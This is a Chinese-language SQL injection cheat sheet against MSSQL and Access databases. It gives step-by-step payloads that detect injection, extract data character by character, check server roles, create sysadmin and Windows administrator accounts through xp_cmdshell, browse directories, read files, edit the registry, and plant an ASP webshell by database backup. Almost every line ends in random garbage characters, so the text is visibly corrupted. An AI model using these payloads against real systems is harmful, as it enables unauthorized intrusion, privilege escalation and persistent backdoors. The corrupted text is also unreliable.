1.判断是否有注入;and 1=1 ;and 1=2 $P nLG]X
2.初步判断是否是mssql ;and user>0 Y)Tl<
[7.agI@=
3.注入参数是字符'and [查询条件] and ''=' YE\K<T
jH
'$[Di'*;
4.搜索时没过滤参数的'and [查询条件] and '%25'=' `Mk4sKU\a
")%r}:0
5.判断数据库系统 [!~}S
){ gAj
;and (select count(*) from sysobjects)>0 mssql M{E{N K
NXI[q'y
;and (select count(*) from msysobjects)>0 access XYAmJ
.S7:;%qL6
uPLErO9Es[
m$:&P|!'p
6.猜数据库 ;and (select Count(*) from [数据库名])>0 X#ZgS!Mn
5)M2r!\
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Fw"$A0
eFFc 9'o
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 6Dst;:
J(s;$PG
9.(1)猜字段的ascii值(access) 6I>^Pf'ND
h1f8ktF
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 QDE$E.a
7&+Ys
(2)猜字段的ascii值(mssql) @G*.1;jO
5I' d PNf
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 QVtM.oi!Q
"U8S81'
10.测试权限结构(mssql) ^npJUa
1'O0`Me>#
pM2a(\K,k^
zF: j
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- re`t ]gzb
<3Gqv9Y&
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 2|{V,!/cvG
l r~gG3
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- hs(W;tR@W
`@XehSQ
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Wi$dZOcSJ
cj
g.lzYH
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- .Dw,"VHP
!9 f4R/ ?
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- c-8!#~M(
8\Hr5FqB(
;and 1=(select IS_MEMBER('db_owner'));-- wC`
R>)
8omC%a}9m
2"&)W dm
zOB=aG?/
11.添加mssql和系统的帐户 Nfn(Xn*J-
Ik~1:D]f
;exec master.dbo.sp_addlogin username;-- !p[`IWZ
;exec master.dbo.sp_password null,username,password;-- op @iGC+
LM"y\q ]
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- _^\$"nw
][7p+IsB
;exec master.dbo.xp_cmdshell 'net user username password ; Lql_1
`hrQw)5?r
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- BX< dSK
lZWX7FO'
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Qh`:<KI
LFu%v7L`
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- `i fiL
zoZH[a`H
FWY2s(5p
X_?97iXjx
12.(1)遍历目录 c/aup
'{[),*nC n
;create table dirs(paths varchar(100), id int) \#,t O%D
MGt]' }
;insert dirs exec master.dbo.xp_dirtree 'c:\' SEd5)0X^
J|~26lG
;and (select top 1 paths from dirs)>0 L*JPe"N-e
~cqryr9
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) P Sx304
z`U Ukl}T
c`G&KCw)d
;3m!:l
(2)遍历目录 i8PuC^]
N1x@-/xa|
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ^b-18 ~s
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 m,_d^
%XTA;lrz
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 sl|_=oXT
B0Xl+JIR#
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ,)fkr]`<
~?Omy8#
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 %0-wpuHc(]
5VE2@Fn}
w4:\N U
=f 7r69I"
13.mssql中的存储过程 - u3e5gW
}!d;(/)rb
xp_regenumvalues 注册表根键, 子键 |qN'P}L
>-)h|w i
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 %[QV,fD'E
"Ty/k8?
xp_regread 根键,子键,键值名 KfY$ka[}"S
NAr1[{^E,
;exec xp_regread d&(_|xq#
n$)_9:Z-j
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Pz"`MB<'Ik
(pR.Abq
xp_regwrite 根键,子键, 值名, 值类型, 值 \\4Eh2
Y
olYsT**'
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 @aG&n(.!u*
A(d5G^
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ktH8as^54!
g:#dl\k
xp_regdeletevalue 根键,子键,值名 M>H=z#C>/A
my.`k'
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 W WG /k17
q6q1\YB
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Y)I8eU{Wl(
]MTbW=*}ED
q/&y*)&'O
8im@4A+n`
14.mssql的backup创建webshell (lH,JX`$a
USPTpjt8R
use model O8u3y
~H6;I$e[
create table cmd(str image); \h{r;#g
G*}F5.>8(
insert into cmd(str) values (''); saZ>?Owz
Ff4*IOZ}(
backup database model to disk='c:\l.asp'; j
tA*pL'/V
>'=MH2;
D!LX?_cD1i
9'~-U
15.mssql内置函数 wz
/GB8P
P=8>c'Q
;and (select @@version)>0 获得Windows的版本号 F?4(5 K
-uR72f
;and user_name()='dbo' 判断当前系统的连接用户是不是sa jUMf6^^
xFFr
;and (select user_name())>0 爆当前系统的连接用户 mZvG|P$}
TH1B#Y#<J
;and (select db_name())>0 得到当前连接的数据库 {rH9grb
GG6%bF
*OTS'W~t
S"2qJ!.u
16.简洁的webshell Q9?t[ir
m7|RD]q&
use model xi'>m IT
^4$'KIq
create table cmd(str image); 6XV<?
9q
W?RE'QV8
insert into cmd(str) values (''); pa]" iZz
g"8 .}1)~r
backup database model to disk='g:\wwwtest\l.asp';